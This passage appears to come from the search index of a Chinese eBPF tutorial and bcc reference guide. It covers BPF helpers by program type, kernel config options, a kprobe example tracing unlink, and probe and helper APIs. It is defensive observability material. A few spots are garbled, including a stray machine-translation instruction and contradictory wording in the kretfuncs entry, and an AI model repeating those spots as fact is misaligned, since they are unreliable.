BPF_FUNC_l4_csum_replace() BPF_FUNC_set_hash_invalid() LWT功能 BPF_PROG_TYPE_SOCK_OPS | BPF_FUNC_setsockopt() BPF_FUNC_getsockopt() BPF_FUNC_sock_ops_cb_flags_set() BPF_FUNC_sock_map_update() BPF_FUNC_sock_hash_update() BPF_FUNC_get_socket_cookie() 基本功能 BPF_PROG_TYPE_SK_SKB | BPF_FUNC_skb_store_bytes() BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_sk_redirect_map() BPF_FUNC_sk_redirect_hash() BPF_FUNC_sk_lookup_tcp() BPF_FUNC_sk_lookup_udp() BPF_FUNC_sk_release() 基本功能 BPF_PROG_TYPE_CGROUP_DEVICE | BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_get_current_uid_gid() BPF_FUNC_trace_printk() BPF_PROG_TYPE_RAW_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_skb_output() 跟踪功能 BPF_PROG_TYPE_CGROUP_SOCK_ADDR BPF_FUNC_get_current_uid_gid() BPF_FUNC_bind() BPF_FUNC_get_socket_cookie() 基本功能 BPF_PROG_TYPE_LWT_SEG6LOCAL BPF_FUNC_lwt_seg6_store_bytes() BPF_FUNC_lwt_seg6_action() BPF_FUNC_lwt_seg6_adjust_srh() LWT功能 BPF_PROG_TYPE_LIRC_MODE2 BPF_FUNC_rc_repeat() BPF_FUNC_rc_keydown() BPF_FUNC_rc_pointer_rel() BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_ktime_get_ns() BPF_FUNC_tail_call() BPF_FUNC_get_prandom_u32() BPF_FUNC_trace_printk() BPF_PROG_TYPE_SK_REUSEPORT BPF_FUNC_sk_select_reuseport() BPF_FUNC_skb_load_bytes() BPF_FUNC_load_bytes_relative() 基本功能 BPF_PROG_TYPE_FLOW_DISSECTOR BPF_FUNC_skb_load_bytes() 基本功能 功能组 功能 基本功能 BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_map_peek_elem() BPF_FUNC_map_pop_elem() BPF_FUNC_map_push_elem() BPF_FUNC_get_prandom_u32() BPF_FUNC_get_smp_processor_id() BPF_FUNC_get_numa_node_id() BPF_FUNC_tail_call() BPF_FUNC_ktime_get_boot_ns() BPF_FUNC_ktime_get_ns() BPF_FUNC_trace_printk() BPF_FUNC_spin_lock() BPF_FUNC_spin_unlock() LWT函数 BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_csum_diff() BPF_FUNC_get_cgroup_classid() BPF_FUNC_get_route_realm() BPF_FUNC_get_hash_recalc() BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_skb_under_cgroup()","breadcrumbs":"BPF Features by Linux Kernel Version » 程序类型","id":"234","title":"程序类型"},"235":{"body":"","breadcrumbs":"Kernel Configuration for BPF Features » BPF 特性的内核配置","id":"235","title":"BPF 特性的内核配置"},"236":{"body":"功能 内核配置 描述 基础 CONFIG_BPF_SYSCALL 启用 bpf() 系统调用 CONFIG_BPF_JIT BPF 程序通常由 BPF 解释器处理。此选项允许内核在加载程序时生成本地代码。这将显著加速 BPF 程序的处理 CONFIG_HAVE_BPF_JIT 启用 BPF 即时编译器 CONFIG_HAVE_EBPF_JIT 扩展 BPF JIT (eBPF) CONFIG_HAVE_CBPF_JIT 经典 BPF JIT (cBPF) CONFIG_MODULES 启用可加载内核模块的构建 CONFIG_BPF BPF VM 解释器 CONFIG_BPF_EVENTS 允许用户将 BPF 程序附加到 kprobe、uprobe 和 tracepoint 事件上 CONFIG_PERF_EVENTS 内核性能事件和计数器 CONFIG_HAVE_PERF_EVENTS 启用性能事件 CONFIG_PROFILING 启用分析器使用的扩展分析支持机制 BTF CONFIG_DEBUG_INFO_BTF 从 DWARF 调试信息生成去重的 BTF 类型信息 CONFIG_PAHOLE_HAS_SPLIT_BTF 为每个选定的内核模块生成 BTF CONFIG_DEBUG_INFO_BTF_MODULES 为内核模块生成紧凑的分割 BTF 类型信息 安全 CONFIG_BPF_JIT_ALWAYS_ON 启用 BPF JIT 并删除 BPF 解释器以避免猜测执行 CONFIG_BPF_UNPRIV_DEFAULT_OFF 通过设置默认禁用非特权 BPF Cgroup CONFIG_CGROUP_BPF 支持将 BPF 程序附加到 cgroup 上 网络 CONFIG_BPFILTER 基于 BPF 的数据包过滤框架 (BPFILTER) CONFIG_BPFILTER_UMH 使用内嵌的用户模式助手构建 bpfilter 内核模块 CONFIG_NET_CLS_BPF 基于可编程 BPF (JIT'ed) 过滤器进行数据包分类的基于 BPF 的分类器的替代方法 CONFIG_BPF_STREAM_PARSER 启用此功能，允许使用BPF_MAP_TYPE_SOCKMAP与TCP流解析器配合使用 CONFIG_LWTUNNEL_BPF 在路由查找入站和出站数据包后，允许作为下一跳操作运行BPF程序 CONFIG_NETFILTER_XT_MATCH_BPF BPF匹配将对每个数据包应用Linux套接字过滤器，并接受过滤器返回非零值的数据包 CONFIG_IPV6_SEG6_BPF 为支持BPF seg6local挂钩，添加IPv6 Segement Routing助手 参考 kprobes CONFIG_KPROBE_EVENTS 允许用户通过ftrace接口动态添加跟踪事件（类似于tracepoints） CONFIG_KPROBES 启用基于kprobes的动态事件 CONFIG_HAVE_KPROBES 检查是否启用了kprobes CONFIG_HAVE_REGS_AND_STACK_ACCESS_API 如果架构支持从pt_regs访问寄存器和堆栈条目所需的API，则应该选择此符号。例如，基于kprobes的事件跟踪器需要此API CONFIG_KPROBES_ON_FTRACE 如果架构支持将pt_regs完全传递给函数跟踪，则在函数跟踪器上有kprobes kprobe multi CONFIG_FPROBE 启用fprobe以一次性在多个函数上附加探测点 kprobe override CONFIG_BPF_KPROBE_OVERRIDE 启用BPF程序覆盖kprobed函数 uprobes CONFIG_UPROBE_EVENTS 启用基于uprobes的动态事件 CONFIG_ARCH_SUPPORTS_UPROBES 架构特定的uprobes支持 CONFIG_UPROBES Uprobes是kprobes的用户空间对应项：它们允许仪器应用程序（如'perf probe'）在用户空间二进制文件和库中建立非侵入性探测点，并在用户空间应用程序触发探测点时执行处理函数。 Tracepoints CONFIG_TRACEPOINTS 启用在内核中插入Tracepoints并与问题函数连接 CONFIG_HAVE_SYSCALL_TRACEPOINTS 启用系统调用进入/退出跟踪 Raw Tracepoints Same as Tracepoints LSM CONFIG_BPF_LSM 使用BPF程序对安全钩子进行仪器化，实现动态MAC和审计策略 LIRC CONFIG_BPF_LIRC_MODE2 允许将BPF程序附加到lirc设备","breadcrumbs":"Kernel Configuration for BPF Features » 与 BPF 相关的内核配置","id":"236","title":"与 BPF 相关的内核配置"},"237":{"body":"用于搜索 (Ctrl-F) 和参考。如需教程，请从 tutorial.md 开始。 该指南尚未完成。如果感觉有遗漏的内容，请查看 bcc 和内核源码。如果确认确实有遗漏，请发送拉取请求进行修复，并协助所有人。","breadcrumbs":"bcc Reference Guide » bcc 参考指南","id":"237","title":"bcc 参考指南"},"238":{"body":"bcc 参考指南 目录 BPF C Events & Arguments 1. kprobes 2. kretprobes 3. Tracepoints 4. uprobes 6. USDT探测点 7. 原始跟踪点 8. 系统调用跟踪点 9. kfuncs 10. kretfuncs 11. LSM Probes 12. BPF迭代器 数据 1. bpf_probe_read_kernel() 2. bpf_probe_read_kernel_str()\".```shell 3. bpf_ktime_get_ns() 4. bpf_get_current_pid_tgid() 5. bpf_get_current_uid_gid() 6. bpf_get_current_comm() 7. bpf_get_current_task() 8. bpf_log2l() 9. bpf_get_prandom_u32() 10. bpf_probe_read_user() 11. bpf_probe_read_user_str() 12. bpf_get_ns_current_pid_tgid() 调试 1. bpf_override_return() 输出 1. bpf_trace_printk() 2. BPF_PERF_OUTPUT 3. perf_submit() 4. perf_submit_skb() 5. BPF_RINGBUF_OUTPUT 6. ringbuf_output（） 7. ringbuf_reserve() 8. ringbuf_submit（） 9. ringbuf_discard() Maps 1. BPF_TABLE 固定映射 2. BPF_HASH 3. BPF_ARRAY 4. BPF_HISTOGRAM 5. BPF_STACK_TRACE 6. BPF_PERF_ARRAY 7. BPF_PERCPU_HASH 8. BPF_PERCPU_ARRAY 9. BPF_LPM_TRIE 10. BPF_PROG_ARRAY 11. BPF_DEVMAP 12. BPF_CPUMAP 13. BPF_XSKMAP 14. BPF_ARRAY_OF_MAPS 15. BPF_HASH_OF_MAPS 16. BPF_STACK 17. BPF_QUEUE 18. BPF_SOCKHASH 19. map.lookup() 20. map.lookup_or_try_init() 21. map.delete() 22. map.update() 23. map.insert() 24. map.increment() 25. map.get_stackid() 26. map.perf_read() 27. map.call() 28. map.redirect_map() 29. map.push() 30. map.pop() 31. map.peek() 32. map.sock_hash_update() 33. map.msg_redirect_hash() 34. map.sk_redirect_hash() 许可证 Rewriter bcc Python 初始化 1. BPF 事件 1. attach_kprobe() 2. attach_kretprobe() 3. attach_tracepoint() 4. attach_uprobe() 5. attach_uretprobe() 6. USDT.enable_probe() 7. attach_raw_tracepoint() 8. attach_raw_socket() 9. attach_xdp() 1. XDP_FLAGS_UPDATE_IF_NOEXIST 2. XDP_FLAGS_SKB_MODE 3. XDP_FLAGS_DRV_MODE 4. XDP_FLAGS_HW_MODE 10. attach_func() 12. detach_kprobe() 13. detach_kretprobe() 调试输出 1. trace_print() 2. trace_fields() 输出 API 1. perf_buffer_poll() 2. ring_buffer_poll() 3. ring_buffer_consume() Map APIs 1. get_table() 2. open_perf_buffer() 4. values() 5. clear() 6. items_lookup_and_delete_batch() 7. items_lookup_batch() 8. items_delete_batch() 9. items_update_batch() 11. print_linear_hist()\".语法: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) 12. open_ring_buffer() 13. push() 14. pop() 15. peek() 辅助方法 1. ksym() 2. ksymname() 3. sym() 4. num_open_kprobes() 5. get_syscall_fnname() BPF 错误 1. Invalid mem access 2. 无法从专有程序调用 GPL-only 函数 环境变量 1. 内核源代码目录 2. 内核版本覆盖","breadcrumbs":"bcc Reference Guide » 目录","id":"238","title":"目录"},"239":{"body":"本节介绍了 bcc 程序的 C 部分。","breadcrumbs":"bcc Reference Guide » BPF C","id":"239","title":"BPF C"},"24":{"body":"完整代码如下： #include \"vmlinux.h\"\n#include \n#include \n#include  char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} 这段代码是一个简单的 eBPF 程序，用于监测和捕获在 Linux 内核中执行的 unlink 系统调用。unlink 系统调用的功能是删除一个文件，这个 eBPF 程序通过使用 kprobe（内核探针）在do_unlinkat函数的入口和退出处放置钩子，实现对该系统调用的跟踪。 首先，我们导入必要的头文件，如 vmlinux.h，bpf_helpers.h，bpf_tracing.h 和 bpf_core_read.h。接着，我们定义许可证，以允许程序在内核中运行。 #include \"vmlinux.h\"\n#include \n#include \n#include  char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 接下来，我们定义一个名为BPF_KPROBE(do_unlinkat)的 kprobe，当进入do_unlinkat函数时，它会被触发。该函数接受两个参数：dfd（文件描述符）和name（文件名结构体指针）。在这个 kprobe 中，我们获取当前进程的 PID（进程标识符），然后读取文件名。最后，我们使用bpf_printk函数在内核日志中打印 PID 和文件名。 SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} 接下来，我们定义一个名为BPF_KRETPROBE(do_unlinkat_exit)的 kretprobe，当从do_unlinkat函数退出时，它会被触发。这个 kretprobe 的目的是捕获函数的返回值（ret）。我们再次获取当前进程的 PID，并使用bpf_printk函数在内核日志中打印 PID 和返回值。 SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。 要编译这个程序，请使用 ecc 工具： $ ecc kprobe-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run package.json 在另外一个窗口中： touch test1\nrm test1\ntouch test2\nrm test2 在 /sys/kernel/debug/tracing/trace_pipe 文件中，应该能看到类似下面的 kprobe 演示输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9346 [005] d..3 4710.951696: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test1 rm-9346 [005] d..4 4710.951819: bpf_trace_printk: KPROBE EXIT: ret = 0 rm-9346 [005] d..3 4710.951852: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test2 rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobe 示例","id":"24","title":"kprobe 示例"},"240":{"body":"","breadcrumbs":"bcc Reference Guide » Events & Arguments","id":"240","title":"Events & Arguments"},"241":{"body":"语法：kprobe__ kernel_function_name kprobe__ 是一个特殊的前缀，用于创建一个 kprobe（对内核函数调用的动态跟踪），后面跟着的是内核函数的名称。你也可以通过声明一个普通的 C 函数，然后使用 Python 的 BPF.attach_kprobe()（稍后会介绍）将其与一个内核函数关联起来来使用 kprobe。 参数在函数声明中指定：kprobe__ kernel_function_name (struct pt_regs *ctx [, argument1 ...]) 例如： int kprobe__tcp_v4_connect(struct pt_regs *ctx, struct sock *sk) { [...]\n} 这会使用 kprobe 对 tcp_v4_connect() 内核函数进行插装，并使用以下参数： struct pt_regs *ctx: 寄存器和 BPF 上下文。 struct sock *sk: tcp_v4_connect() 的第一个参数。 第一个参数始终是 struct pt_regs *，其余的是函数的参数（如果你不打算使用它们，则不需要指定）。 示例代码： code （ 输出结果 ),\".\" code （ output )","breadcrumbs":"bcc Reference Guide » 1. kprobes","id":"241","title":"1. kprobes"},"242":{"body":"语法: kretprobe__ kernel_function_name kretprobe__是一个特殊的前缀，它创建了一个kretprobe（对提供的内核函数名进行动态追踪，跟踪内核函数的返回）。您也可以通过声明一个普通的C函数，然后使用Python的BPF.attach_kretprobe()（稍后介绍）将其与内核函数关联起来，来使用kretprobes。 返回值可用作PT_REGS_RC(ctx)，给定函数声明为：kretprobe__ kernel_function_name (struct pt_regs *ctx) 例如: int kretprobe__tcp_v4_connect(struct pt_regs *ctx)\n{ int ret = PT_REGS_RC(ctx); [...]\n} 这个例子使用kretprobe来对tcp_v4_connect()内核函数的返回进行检测，并将返回值存储在ret中。 现有的用法示例: code （ output )","breadcrumbs":"bcc Reference Guide » 2. kretprobes","id":"242","title":"2. kretprobes"},"243":{"body":"语法: TRACEPOINT_PROBE( category , event ) 这是一个宏，用于对由 category : event 定义的tracepoint进行追踪。 tracepoint名称为:。 probe函数名为tracepoint____。 参数在一个args结构体中可用，这些参数是tracepoint的参数。列出这些参数的一种方法是在/sys/kernel/debug/tracing/events/ category / event /format下查看相关的格式文件。\"args 结构体可用于替代 ctx，作为需要上下文作为参数的每个函数中的参数。这包括特别是 perf_submit() 。 例如： TRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n} 这会给 random:urandom_read 追踪点注入代码，并打印出追踪点参数 got_bits。 在使用 Python API 时，此探针会自动附加到正确的追踪点目标上。 对于 C++，可以通过明确指定追踪点目标和函数名来附加此追踪点探针： BPF::attach_tracepoint(\"random:urandom_read\", \"tracepoint__random__urandom_read\") 注意，上面定义的探针函数的名称是 tracepoint__random__urandom_read。 实际示例： code ( output )， search /examples ， search /tools","breadcrumbs":"bcc Reference Guide » 3. Tracepoints","id":"243","title":"3. Tracepoints"},"244":{"body":"这些是通过在 C 中声明一个普通函数，然后在 Python 中通过 BPF.attach_uprobe() 将其关联为 uprobes 探针来进行注入的（稍后会介绍）。 可以使用 PT_REGS_PARM 宏来检查参数。 例如： int count(struct pt_regs *ctx) { char buf[64]; bpf_probe_read_user(&buf, sizeof(buf), (void *)PT_REGS_PARM1(ctx)); bpf_trace_printk(\"%s %d\", buf, PT_REGS_PARM2(ctx)); return(0);\n} 这将读取第一个参数作为字符串，然后用第二个参数作为整数打印出来。 实际示例： code 。### 5。uretprobes 这些是通过在C中声明一个普通函数，然后在Python中通过BPF.attach_uretprobe()将其关联为uretprobe探测点（稍后详述）来进行插装的。 返回值可以通过PT_REGS_RC(ctx)访问，前提是有一个如下声明的函数： function_name (struct pt_regs *ctx) 例如： BPF_HISTOGRAM(dist);\nint count(struct pt_regs *ctx) { dist.increment(PT_REGS_RC(ctx)); return 0;\n} 这会递增由返回值索引的dist直方图中的存储桶。 现场演示示例： code ( output ), code ( output )","breadcrumbs":"bcc Reference Guide » 4. uprobes","id":"244","title":"4. uprobes"},"245":{"body":"这些是用户静态定义追踪（USDT）探测点，可以放置在某些应用程序或库中，以提供用户级别等效的跟踪点。用于USDT支持的主要BPF方法是enable_probe()。通过在C中声明一个普通函数，然后在Python中通过USDT.enable_probe()将其关联为USDT探测点来进行插装。 可以通过以下方式读取参数：bpf_usdt_readarg( index , ctx, &addr) 例如： int do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n}; 这会读取第六个USDT参数，然后将其作为字符串存储到path中。当使用C API中的BPF::init的第三个参数进行USDT的初始化时，如果任何USDT无法进行init，则整个BPF::init都会失败。如果您对一些USDT无法进行init感到满意，则在调用BPF::init之前使用BPF::init_usdt。","breadcrumbs":"bcc Reference Guide » 6. USDT探测点","id":"245","title":"6. USDT探测点"},"246":{"body":"语法：RAW_TRACEPOINT_PROBE( event ) 这是一个宏，用于仪表化由 event 定义的原始跟踪点。 该参数是指向结构体bpf_raw_tracepoint_args的指针，该结构体定义在 bpf.h 中。结构体字段args包含了原始跟踪点的所有参数，可以在 include/trace/events 目录中找到。 例如： RAW_TRACEPOINT_PROBE(sched_switch)\n{ // TP_PROTO(bool preempt, struct task_struct *prev, struct task_struct *next) struct task_struct *prev = (struct task_struct *)ctx->args[1]; struct task_struct *next= (struct task_struct *)ctx->args[2]; s32 prev_tgid, next_tgid; bpf_probe_read_kernel(&prev_tgid, sizeof(prev->tgid), &prev->tgid); bpf_probe_read_kernel(&next_tgid, sizeof(next->tgid), &next->tgid); bpf_trace_printk(\"%d -> %d\\\\n\", prev_tgid, next_tgid);\n} 这将仪表化sched:sched_switch跟踪点，并打印prev和next tgid。","breadcrumbs":"bcc Reference Guide » 7. 原始跟踪点","id":"246","title":"7. 原始跟踪点"},"247":{"body":"语法：syscall__SYSCALLNAME。syscall__是一个特殊的前缀，用于为提供的系统调用名称创建一个kprobe。您可以通过声明一个普通的C函数，然后使用Python的BPF.get_syscall_fnname(SYSCALLNAME)和BPF.attach_kprobe()来使用它。 参数在函数声明中指定: syscall__SYSCALLNAME(struct pt_regs *ctx, [, argument1 ...]). 例如： int syscall__execve(struct pt_regs *ctx, const char __user *filename, const char __user *const __user *__argv, const char __user *const __user *__envp)\n{ [...]\n} 这将对execve系统调用进行探查。 第一个参数始终是struct pt_regs *，其余的参数是函数的参数（如果您不打算使用它们，则无需指定）。 相应的Python代码： b = BPF(text=bpf_text)\nexecve_fnname = b.get_syscall_fnname(\"execve\")\nb.attach_kprobe(event=execve_fnname, fn_name=\"syscall__execve\") 示例： code ( output )","breadcrumbs":"bcc Reference Guide » 8. 系统调用跟踪点","id":"247","title":"8. 系统调用跟踪点"},"248":{"body":"语法：KFUNC_PROBE( function , typeof(arg1) arg1, typeof(arg2) arge ...) 这是一个通过跳板来在内核函数执行 之前 对其进行探查的宏。它由 function 名称和 argX 定义的函数参数组成。 例如： KFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode)\n{ ...\n} 这将对do_sys_open内核函数进行探查，并将其参数作为标准参数值访问。 示例： search /tools","breadcrumbs":"bcc Reference Guide » 9. kfuncs","id":"248","title":"9. kfuncs"},"249":{"body":"语法：KRETFUNC_PROBE( event , typeof(arg1) arg1, typeof(arg2) arge ..., int ret) 这是一个通过跳板来在内核函数执行 之前 探查的宏。 格式：仅返回翻译后的内容，不包括原始文本。 在 函数执行之后。它由 函数 名称和定义为 argX 的函数参数定义。 探针的最后一个参数是检测函数的返回值。 例如： KRETFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode, int ret)\n{ ... 这会对do_sys_open内核函数进行检测，并将其参数作为标准参数值一起与其返回值一起提取。 原地示例： 搜索 /tools","breadcrumbs":"bcc Reference Guide » 10. kretfuncs","id":"249","title":"10. kretfuncs"},"25":{"body":"通过本文的示例，我们学习了如何使用 eBPF 的 kprobe 和 kretprobe 捕获 unlink 系统调用。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 本文是 eBPF 入门开发实践教程的第二篇。下一篇文章将介绍如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » 总结","id":"25","title":"总结"},"250":{"body":"语法：LSM_PROBE( hook , typeof(arg1) arg1, typeof(arg2) arg2 ...) 这是一种将LSM挂钩作为BPF程序进行检测的宏。它可以用于审计安全事件和实施BPF中的MAC安全策略。 它通过指定挂钩名及其参数来定义。 可以在 include/linux/security.h 中找到挂钩名称，方法是取security_hookname之类的函数名，然后只保留hookname部分。 例如，security_bpf仅变成了bpf。 与其他BPF程序类型不同，LSM探针中指定的返回值是很重要的。返回值为0表示挂钩成功，而 任何非零的返回值都会导致挂钩失败和拒绝安全操作。 以下示例对一个拒绝所有未来BPF操作的挂钩进行了检测： LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)\n{ return -EPERM;\n} 这会对security_bpf挂钩进行检测，并导致其返回-EPERM。 将return -EPERM更改为return 0会导致BPF程序允许该操作。 LSM探针需要至少一个5.7+内核，并设置了以下配置选项： CONFIG_BPF_LSM=y CONFIG_LSM 逗号分隔的字符串必须包含\"bpf\"（例如， CONFIG_LSM=\"lockdown,yama,bpf\") 原地示例：\" 搜索/tests","breadcrumbs":"bcc Reference Guide » 11. LSM Probes","id":"250","title":"11. LSM Probes"},"251":{"body":"语法: BPF_ITER(target) 这是一个宏，用于定义一个bpf迭代器程序的程序签名。参数 target 指定要迭代的内容。 目前，内核没有接口来发现支持哪些目标。一个好的查找支持内容的地方是在 tools/testing/selftests/bpf/prog_test/bpf_iter.c ，一些示例bpf迭代器程序位于 tools/testing/selftests/bpf/progs ，其中文件名以 bpf_iter 为前缀。 以下示例为 task 目标定义了一个程序，该程序遍历内核中的所有任务。 BPF_ITER(task)\n{ struct seq_file *seq = ctx->meta->seq; struct task_struct *task = ctx->task; if (task == (void *)0) return 0; ... task->pid, task->tgid, task->comm, ... return 0;\n} 在5.8内核中引入了BPF迭代器，可以用于任务（task）、任务文件（task_file）、bpf map、netlink_sock和ipv6_route。在5.9中，对tcp/udp socket和bpf map元素（hashmap、arraymap和sk_local_storage_map）遍历添加了支持。","breadcrumbs":"bcc Reference Guide » 12. BPF迭代器","id":"251","title":"12. BPF迭代器"},"252":{"body":"","breadcrumbs":"bcc Reference Guide » 数据","id":"252","title":"数据"},"253":{"body":"语法: int bpf_probe_read_kernel(void *dst, int size, const void*src) 返回值: 成功时返回0 该函数将从内核地址空间复制size字节到BPF堆栈，以便BPF之后可以对其进行操作。为了安全起见，所有内核内存读取都必须通过bpf_probe_read_kernel()进行。在某些情况下，比如解引用内核变量时，这会自动发生，因为bcc会重新编写BPF程序以包含所需的bpf_probe_read_kernel()。 现场示例： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 1. bpf_probe_read_kernel()","id":"253","title":"1. bpf_probe_read_kernel()"},"254":{"body":"语法：int bpf_probe_read_kernel_str(void *dst, int size, const void*src) 返回值： > 0 成功时字符串长度（包括结尾的NULL字符） < 0 出错 该函数将一个以NULL结尾的字符串从内核地址空间复制到BPF堆栈中，以便BPF以后可以对其进行操作。如果字符串的长度小于size，则目标不会用更多的NULL字节进行填充。如果字符串的长度大于size，则只会复制size - 1个字节，并将最后一个字节设置为NULL。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 2. bpf_probe_read_kernel_str()\".```shell","id":"254","title":"2. bpf_probe_read_kernel_str()\".```shell"},"255":{"body":"语法：u64 bpf_ktime_get_ns(void) 返回值：u64 纳秒数。从系统启动时间开始计数，但在挂起期间停止计数。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 3. bpf_ktime_get_ns()","id":"255","title":"3. bpf_ktime_get_ns()"},"256":{"body":"语法：u64 bpf_get_current_pid_tgid(void) 返回值：current->tgid << 32 | current->pid 返回进程ID位于低32位（内核视图的PID，在用户空间通常表示为线程ID），线程组ID位于高32位（在用户空间通常被认为是PID）。通过直接设置为u32类型，我们丢弃了高32位。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 4. bpf_get_current_pid_tgid()","id":"256","title":"4. bpf_get_current_pid_tgid()"},"257":{"body":"语法：u64 bpf_get_current_uid_gid(void) 返回值：current_gid << 32 | current_uid 返回用户ID和组ID。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 5. bpf_get_current_uid_gid()","id":"257","title":"5. bpf_get_current_uid_gid()"},"258":{"body":"语法: bpf_get_current_comm(char *buf, int size_of_buf) 返回值: 成功时返回0 将当前进程的名称填充到第一个参数地址中。它应该是一个指向字符数组的指针，大小至少为TASK_COMM_LEN，该变量在linux/sched.h中定义。例如: #include  int do_trace(struct pt_regs *ctx) { char comm[TASK_COMM_LEN]; bpf_get_current_comm(&comm, sizeof(comm));\n[...] 现有示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 6. bpf_get_current_comm()","id":"258","title":"6. bpf_get_current_comm()"},"259":{"body":"语法: bpf_get_current_task() 返回值: 返回指向当前任务的struct task_struct指针。 返回指向当前任务的task_struct对象的指针。该辅助函数可用于计算进程的CPU时间，标识内核线程，获取当前CPU的运行队列或检索许多其他信息。 在Linux 4.13中，由于字段随机化的问题，您可能需要在包含之前定义两个#define指令: #define randomized_struct_fields_start struct {\n#define randomized_struct_fields_end };\n#include  int do_trace(void *ctx) { struct task_struct *t = (struct task_struct *)bpf_get_current_task();\n[...] 现有示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 7. bpf_get_current_task()","id":"259","title":"7. bpf_get_current_task()"},"26":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第三篇，在 eBPF 中使用 fentry 捕获 unlink 系统调用。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用","id":"26","title":"eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用"},"260":{"body":"语法: unsigned int bpf_log2l(unsigned long v) 返回提供的值的log-2。这通常用于创建直方图的索引，以构建2的幂次直方图。在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 8. bpf_log2l()","id":"260","title":"8. bpf_log2l()"},"261":{"body":"语法：u32 bpf_get_prandom_u32() 返回一个伪随机的 u32。 在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 9. bpf_get_prandom_u32()","id":"261","title":"9. bpf_get_prandom_u32()"},"262":{"body":"语法：int bpf_probe_read_user(void *dst, int size, const void*src) 返回值：成功时返回0 该函数尝试安全地从用户地址空间读取size个字节到BPF栈中，以便BPF之后可以操作它。为确保安全，所有用户地址空间内存读取必须通过bpf_probe_read_user()。 在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 10. bpf_probe_read_user()","id":"262","title":"10. bpf_probe_read_user()"},"263":{"body":"语法：int bpf_probe_read_user_str(void *dst, int size, const void*src) 返回值： > 0 成功时返回字符串长度（包括结尾的NULL） < 0 错误 